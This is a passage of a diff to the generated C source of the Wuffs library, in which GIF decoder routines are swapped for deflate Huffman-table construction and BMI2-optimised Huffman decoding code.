self->private_data.s_decode_lsd[0].v_flags = v_flags; -- self->private_data.s_decode_lsd[0].v_background_color_index = v_background_color_index; -- self->private_data.s_decode_lsd[0].v_num_palette_entries = v_num_palette_entries; -- self->private_data.s_decode_lsd[0].v_i = v_i; -+ self->private_impl.p_init_dynamic_huffman = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_init_dynamic_huffman.v_bits = v_bits; -+ self->private_data.s_init_dynamic_huffman.v_n_bits = v_n_bits; -+ self->private_data.s_init_dynamic_huffman.v_n_lit = v_n_lit; -+ self->private_data.s_init_dynamic_huffman.v_n_dist = v_n_dist; -+ self->private_data.s_init_dynamic_huffman.v_n_clen = v_n_clen; -+ self->private_data.s_init_dynamic_huffman.v_i = v_i; -+ self->private_data.s_init_dynamic_huffman.v_mask = v_mask; -+ self->private_data.s_init_dynamic_huffman.v_n_extra_bits = v_n_extra_bits; -+ self->private_data.s_init_dynamic_huffman.v_rep_symbol = v_rep_symbol; -+ self->private_data.s_init_dynamic_huffman.v_rep_count = v_rep_count; - - goto exit; - exit: -@@ -38093,185 +39348,299 @@ wuffs_gif__decoder__decode_lsd( - return status; - } - --// -------- func gif.decoder.decode_extension -+// -------- func deflate.decoder.init_huff - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gif__decoder__decode_extension( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint8_t v_label = 0; -+wuffs_deflate__decoder__init_huff( -+ wuffs_deflate__decoder* self, -+ uint32_t a_which, -+ uint32_t a_n_codes0, -+ uint32_t a_n_codes1, -+ uint32_t a_base_symbol) { -+ uint16_t v_counts[16] = {0}; -+ uint32_t v_i = 0; -+ uint32_t v_remaining = 0; -+ uint16_t v_offsets[16] = {0}; -+ uint32_t v_n_symbols = 0; -+ uint32_t v_count = 0; -+ uint16_t v_symbols[320] = {0}; -+ uint32_t v_min_cl = 0; -+ uint32_t v_max_cl = 0; -+ uint32_t v_initial_high_bits = 0; -+ uint32_t v_prev_cl = 0; -+ uint32_t v_prev_redirect_key = 0; -+ uint32_t v_top = 0; -+ uint32_t v_next_top = 0; -+ uint32_t v_code = 0; -+ uint32_t v_key = 0; -+ uint32_t v_value = 0; -+ uint32_t v_cl = 0; -+ uint32_t v_redirect_key = 0; -+ uint32_t v_j = 0; -+ uint32_t v_reversed_key = 0; -+ uint32_t v_symbol = 0; -+ uint32_t v_high_bits = 0; -+ uint32_t v_delta = 0; - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+ v_i = a_n_codes0; -+ while (v_i < a_n_codes1) { -+ if (v_counts[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] >= 320u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_counts[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] += 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_i += 1u; - } -- -- uint32_t coro_susp_point = self->private_impl.p_decode_extension[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_label = t_0; -+ if ((((uint32_t)(v_counts[0u])) + a_n_codes0) == a_n_codes1) { -+ return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); -+ } -+ v_remaining = 1u; -+ v_i = 1u; -+ while (v_i <= 15u) { -+ if (v_remaining > 1073741824u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); - } -- if (v_label == 249u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- status = wuffs_gif__decoder__decode_gc(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- status = wuffs_base__make_status(NULL); -- goto ok; -- } else if (v_label == 255u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- status = wuffs_gif__decoder__decode_ae(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -+ v_remaining <<= 1u; -+ if (v_remaining < ((uint32_t)(v_counts[v_i]))) { -+ return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_over_subscribed); -+ } -+ v_remaining -= ((uint32_t)(v_counts[v_i])); -+ v_i += 1u; -+ } -+ if (v_remaining != 0u) { -+ if ((a_which == 1u) && (v_counts[1u] == 1u) && ((((uint32_t)(v_counts[0u])) + a_n_codes0 + 1u) == a_n_codes1)) { -+ v_i = 0u; -+ while (v_i <= 29u) { -+ if (self->private_data.f_code_lengths[(a_n_codes0 + v_i)] == 1u) { -+ self->private_impl.f_n_huffs_bits[1u] = 1u; -+ self->private_data.f_huffs[1u][0u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[v_i] | 1u); -+ self->private_data.f_huffs[1u][1u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[31u] | 1u); -+ return wuffs_base__make_status(NULL); -+ } -+ v_i += 1u; - } -- status = wuffs_base__make_status(NULL); -- goto ok; - } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_under_subscribed); -+ } -+ v_i = 1u; -+ while (v_i <= 15u) { -+ v_offsets[v_i] = ((uint16_t)(v_n_symbols)); -+ v_count = ((uint32_t)(v_counts[v_i])); -+ if (v_n_symbols > (320u - v_count)) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); - } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- status = wuffs_gif__decoder__skip_blocks(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ v_n_symbols = (v_n_symbols + v_count); -+ v_i += 1u; -+ } -+ if (v_n_symbols > 288u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+ v_i = a_n_codes0; -+ while (v_i < a_n_codes1) { -+ if (v_i < a_n_codes0) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); - } -- if (status.repr) { -- goto suspend; -+ if (self->private_data.f_code_lengths[v_i] != 0u) { -+ if (v_offsets[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] >= 320u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+ v_symbols[v_offsets[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))]] = ((uint16_t)((v_i - a_n_codes0))); -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_offsets[((uint8_t)(self->private_data.f_code_lengths[v_i] & 15u))] += 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif - } -- -- ok: -- self->private_impl.p_decode_extension[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_decode_extension[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ v_i += 1u; - } -- -- return status; --} -- --// -------- func gif.decoder.skip_blocks -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__skip_blocks( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint8_t v_block_size = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+ v_min_cl = 1u; -+ while (true) { -+ if (v_counts[v_min_cl] != 0u) { -+ break; -+ } -+ if (v_min_cl >= 9u) { -+ return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_minimum_code_length); -+ } -+ v_min_cl += 1u; - } -- -- uint32_t coro_susp_point = self->private_impl.p_skip_blocks[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ v_max_cl = 15u; -+ while (true) { -+ if (v_counts[v_max_cl] != 0u) { -+ break; -+ } -+ if (v_max_cl <= 1u) { -+ return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); -+ } -+ v_max_cl -= 1u; -+ } -+ if (v_max_cl <= 9u) { -+ self->private_impl.f_n_huffs_bits[a_which] = v_max_cl; -+ } else { -+ self->private_impl.f_n_huffs_bits[a_which] = 9u; -+ } -+ v_i = 0u; -+ if ((v_n_symbols != ((uint32_t)(v_offsets[v_max_cl]))) || (v_n_symbols != ((uint32_t)(v_offsets[15u])))) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+ if ((a_n_codes0 + ((uint32_t)(v_symbols[0u]))) >= 320u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+ v_initial_high_bits = 512u; -+ if (v_max_cl < 9u) { -+ v_initial_high_bits = (((uint32_t)(1u)) << v_max_cl); -+ } -+ v_prev_cl = ((uint32_t)(((uint8_t)(self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[0u])))] & 15u)))); -+ v_prev_redirect_key = 4294967295u; -+ v_top = 0u; -+ v_next_top = 512u; -+ v_code = 0u; -+ v_key = 0u; -+ v_value = 0u; -+ while (true) { -+ if ((a_n_codes0 + ((uint32_t)(v_symbols[v_i]))) >= 320u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+ v_cl = ((uint32_t)(((uint8_t)(self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[v_i])))] & 15u)))); -+ if (v_cl > v_prev_cl) { -+ v_code <<= (v_cl - v_prev_cl); -+ if (v_code >= 32768u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+ } -+ v_prev_cl = v_cl; -+ v_key = v_code; -+ if (v_cl > 9u) { -+ v_cl -= 9u; -+ v_redirect_key = ((v_key >> v_cl) & 511u); -+ v_key = ((v_key) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_cl)); -+ if (v_prev_redirect_key != v_redirect_key) { -+ v_prev_redirect_key = v_redirect_key; -+ v_remaining = (((uint32_t)(1u)) << v_cl); -+ v_j = v_prev_cl; -+ while (v_j <= 15u) { -+ if (v_remaining <= ((uint32_t)(v_counts[v_j]))) { -+ break; -+ } -+ v_remaining -= ((uint32_t)(v_counts[v_j])); -+ if (v_remaining > 1073741824u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+ v_remaining <<= 1u; -+ v_j += 1u; - } -- uint8_t t_0 = *iop_a_src++; -- v_block_size = t_0; -+ if ((v_j <= 9u) || (15u < v_j)) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+ v_j -= 9u; -+ v_initial_high_bits = (((uint32_t)(1u)) << v_j); -+ v_top = v_next_top; -+ if ((v_top + (((uint32_t)(1u)) << v_j)) > 1024u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+ v_next_top = (v_top + (((uint32_t)(1u)) << v_j)); -+ v_redirect_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_redirect_key >> 1u)])) | ((v_redirect_key & 1u) << 8u)); -+ self->private_data.f_huffs[a_which][v_redirect_key] = (268435465u | (v_top << 8u) | (v_j << 4u)); - } -- if (v_block_size == 0u) { -- status = wuffs_base__make_status(NULL); -- goto ok; -+ } -+ if ((v_key >= 512u) || (v_counts[v_prev_cl] <= 0u)) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_counts[v_prev_cl] -= 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ v_reversed_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_key >> 1u)])) | ((v_key & 1u) << 8u)); -+ v_reversed_key >>= (9u - v_cl); -+ v_symbol = ((uint32_t)(v_symbols[v_i])); -+ if (v_symbol == 256u) { -+ v_value = (536870912u | v_cl); -+ } else if ((v_symbol < 256u) && (a_which == 0u)) { -+ v_value = (2147483648u | (v_symbol << 8u) | v_cl); -+ } else if (v_symbol >= a_base_symbol) { -+ v_symbol -= a_base_symbol; -+ if (a_which == 0u) { -+ v_value = (WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); -+ } else { -+ v_value = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); - } -- self->private_data.s_skip_blocks[0].scratch = ((uint32_t)(v_block_size)); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (self->private_data.s_skip_blocks[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_skip_blocks[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ } else { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ } -+ v_high_bits = v_initial_high_bits; -+ v_delta = (((uint32_t)(1u)) << v_cl); -+ while (v_high_bits >= v_delta) { -+ v_high_bits -= v_delta; -+ if ((v_top + ((v_high_bits | v_reversed_key) & 511u)) >= 1024u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); - } -- iop_a_src += self->private_data.s_skip_blocks[0].scratch; -+ self->private_data.f_huffs[a_which][(v_top + ((v_high_bits | v_reversed_key) & 511u))] = v_value; -+ } -+ v_i += 1u; -+ if (v_i >= v_n_symbols) { -+ break; -+ } -+ v_code += 1u; -+ if (v_code >= 32768u) { -+ return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); - } -- -- ok: -- self->private_impl.p_skip_blocks[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_skip_blocks[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- -- return status; -+ return wuffs_base__make_status(NULL); - } - --// -------- func gif.decoder.decode_ae -+// ‼ WUFFS MULTI-FILE SECTION +x86_bmi2 -+// -------- func deflate.decoder.decode_huffman_bmi2 - -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("bmi2") - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gif__decoder__decode_ae( -- wuffs_gif__decoder* self, -+wuffs_deflate__decoder__decode_huffman_bmi2( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint8_t v_block_size = 0; -- bool v_is_animexts = false; -- bool v_is_netscape = false; -- bool v_is_iccp = false; -- bool v_is_xmp = false; -+ uint64_t v_bits = 0; -+ uint32_t v_n_bits = 0; -+ uint32_t v_table_entry = 0; -+ uint32_t v_table_entry_n_bits = 0; -+ uint64_t v_lmask = 0; -+ uint64_t v_dmask = 0; -+ uint32_t v_redir_top = 0; -+ uint32_t v_redir_mask = 0; -+ uint32_t v_length = 0; -+ uint32_t v_dist_minus_1 = 0; -+ uint32_t v_hlen = 0; -+ uint32_t v_hdist = 0; -+ uint32_t v_hdist_adjustment = 0; - -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -38283,214 +39652,206 @@ wuffs_gif__decoder__decode_ae( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_ae[0]; -- if (coro_susp_point) { -- v_block_size = self->private_data.s_decode_ae[0].v_block_size; -- v_is_animexts = self->private_data.s_decode_ae[0].v_is_animexts; -- v_is_netscape = self->private_data.s_decode_ae[0].v_is_netscape; -- v_is_iccp = self->private_data.s_decode_ae[0].v_is_iccp; -- v_is_xmp = self->private_data.s_decode_ae[0].v_is_xmp; -+ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); -+ goto exit; - } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- do { -- if (self->private_impl.f_metadata_fourcc != 0u) { -- status = wuffs_base__make_status(wuffs_base__note__metadata_reported); -- goto ok; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_block_size = t_0; -- } -- if (v_block_size == 0u) { -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- if (v_block_size != 11u) { -- self->private_data.s_decode_ae[0].scratch = ((uint32_t)(v_block_size)); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (self->private_data.s_decode_ae[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_decode_ae[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_decode_ae[0].scratch; -+ v_bits = ((uint64_t)(self->private_impl.f_bits)); -+ v_n_bits = self->private_impl.f_n_bits; -+ v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); -+ v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); -+ if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); -+ goto exit; -+ } -+ v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); -+ label__loop__continue:; -+ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { -+ v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); -+ iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); -+ v_n_bits |= 56u; -+ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ if ((v_table_entry >> 31u) != 0u) { -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -+ continue; -+ } else if ((v_table_entry >> 30u) != 0u) { -+ } else if ((v_table_entry >> 29u) != 0u) { -+ self->private_impl.f_end_of_block = true; -+ break; -+ } else if ((v_table_entry >> 28u) != 0u) { -+ v_redir_top = ((v_table_entry >> 8u) & 65535u); -+ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -+ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ if ((v_table_entry >> 31u) != 0u) { -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); -+ continue; -+ } else if ((v_table_entry >> 30u) != 0u) { -+ } else if ((v_table_entry >> 29u) != 0u) { -+ self->private_impl.f_end_of_block = true; - break; -+ } else if ((v_table_entry >> 28u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; -+ } else if ((v_table_entry >> 27u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; - } -- v_is_animexts = true; -- v_is_netscape = true; -- v_is_iccp = true; -- v_is_xmp = true; -- v_block_size = 0u; -- while (v_block_size < 11u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; -- } -- v_is_animexts = (v_is_animexts && (v_c == WUFFS_GIF__ANIMEXTS1DOT0[v_block_size])); -- v_is_netscape = (v_is_netscape && (v_c == WUFFS_GIF__NETSCAPE2DOT0[v_block_size])); -- v_is_iccp = (v_is_iccp && (v_c == WUFFS_GIF__ICCRGBG1012[v_block_size])); -- v_is_xmp = (v_is_xmp && (v_c == WUFFS_GIF__XMPDATAXMP[v_block_size])); --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- v_block_size += 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -+ } else if ((v_table_entry >> 27u) != 0u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; -+ } else { -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; -+ } -+ v_length = (((v_table_entry >> 8u) & 255u) + 3u); -+ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -+ if (v_table_entry_n_bits > 0u) { -+ v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ } -+ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ if ((v_table_entry >> 28u) == 1u) { -+ v_redir_top = ((v_table_entry >> 8u) & 65535u); -+ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); -+ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; -+ v_table_entry_n_bits = (v_table_entry & 15u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ } -+ if ((v_table_entry >> 24u) != 64u) { -+ if ((v_table_entry >> 24u) == 8u) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); -+ goto exit; - } -- if (v_is_animexts || v_is_netscape) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_2 = *iop_a_src++; -- v_block_size = t_2; -- } -- if (v_block_size != 3u) { -- self->private_data.s_decode_ae[0].scratch = ((uint32_t)(v_block_size)); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (self->private_data.s_decode_ae[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_decode_ae[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_decode_ae[0].scratch; -- break; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_3 = *iop_a_src++; -- v_c = t_3; -+ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); -+ goto exit; -+ } -+ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); -+ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); -+ v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); -+ v_bits >>= v_table_entry_n_bits; -+ v_n_bits -= v_table_entry_n_bits; -+ do { -+ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { -+ v_hlen = 0u; -+ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -+ if (v_length > v_hdist) { -+ v_length -= v_hdist; -+ v_hlen = v_hdist; -+ } else { -+ v_hlen = v_length; -+ v_length = 0u; - } -- if (v_c != 1u) { -- self->private_data.s_decode_ae[0].scratch = 2u; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- if (self->private_data.s_decode_ae[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_decode_ae[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_decode_ae[0].scratch; -- break; -+ v_hdist += v_hdist_adjustment; -+ if (self->private_impl.f_history_index < v_hdist) { -+ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); -+ goto exit; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- uint32_t t_4; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -- iop_a_src += 2; -- } else { -- self->private_data.s_decode_ae[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_ae[0].scratch; -- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -- *scratch >>= 8; -- *scratch |= 